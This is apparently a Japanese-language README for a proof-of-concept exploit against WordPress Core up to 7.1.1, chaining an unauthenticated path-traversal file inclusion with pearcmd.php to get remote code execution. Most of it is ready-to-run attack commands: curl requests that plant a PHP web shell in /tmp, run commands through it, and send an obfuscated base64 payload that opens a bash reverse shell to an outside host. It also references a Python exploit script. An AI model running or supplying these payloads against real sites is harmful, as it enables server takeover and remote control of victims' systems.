CVE-2026-87902 — 条件付きLFI

人間への愛 - シンプルに保つ

WordPress Core <= 7.1.1 — 未認証のLFI（テンプレートローダー pagename）→ pearcmd.php および peclcmd.php 経由のRCE

Dockerラボの実行

cd docker && docker compose up -d

エクスプロイト - curl

curl -s 'http://10.137.137.49:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Fusr%252Flocal%252Flib%252Fphp%252Fpearcmd&+config-create+/&<?=`$_REQUEST[_]`?>+/tmp/pwn.php'

curl -s 'http://10.137.137.49:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Ftmp%252Fpwn&_=id'


# リバースシェル
curl -s 'http://127.0.0.1:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Ftmp%252Fpwn&_=echo+L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjM3LzQ0MyAwPiYxJyAg|base64+-d|sh'

エクスプロイト — python

python3 exploit-pear.py

クレジット: https://github.com/ressl/cve-2026-87902-poc